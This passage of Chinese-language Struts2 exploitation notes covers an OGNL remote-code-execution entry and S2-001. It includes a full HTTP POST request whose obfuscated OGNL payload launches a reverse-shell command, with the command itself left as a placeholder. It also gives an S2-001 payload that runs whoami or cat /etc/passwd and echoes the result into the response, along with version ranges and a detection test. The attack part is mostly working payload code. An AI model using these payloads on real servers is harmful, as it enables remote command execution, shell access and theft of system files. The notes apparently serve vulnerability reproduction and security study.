    2、构造反弹shell的POST数据包，接收shell
POST /example/HelloWorld.action HTTP/1.1
Host: IP:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
```

```
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 750

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%
2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew
%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27[base64编码加url编码的反弹
shell命
令]%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\
AAAA%27),%23str%3d%23s.hasNext()?
%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphon
y.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),
%23resp.setCharacterEncoding(%27UTF-
8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.ge
tWriter().close()}
```

```
# 参考链接
    复现 + 原理：https://www.cnblogs.com/blankunbeaten/p/14826753.html
```

```
# 漏洞原理
    1、Struts2使用OGNL解析并执行http参数，通过#可调用资源
    2、Struts2禁止了#号，但是可以通过unicode编码或者八进制进行绕过
    3、S2-003修复补丁中还禁止了调用类方法，但是通过OGNL表达式可以开启类方法调用，进而再次造成
远程命令执行漏洞
```

S2-001 命令执行

```
# 影响版本
    Struts 2.0.0 - 2.0.8
```

```
# 利用条件
    找到提交表单的功能点即可测试
```

```
# 利用方法
    1、输入框中传输 %{1+1}，如果被解析成2，则存在该漏洞
    2、将payload替换成 cat /etc/passwd 命令
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.Http
ServletResponse"),#f.getWriter().println(new
java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```

```
# 参考链接
    复现：http://testingpai.com/article/1651321688902
```

漏洞原理

1、当用户提交表单数据并且验证失败时，后端会将用户提交的数据进行OGNL表达式解析

2、根据以上特性，在表单中传入恶意的OGNL表达式，即可实现远程代码执行漏洞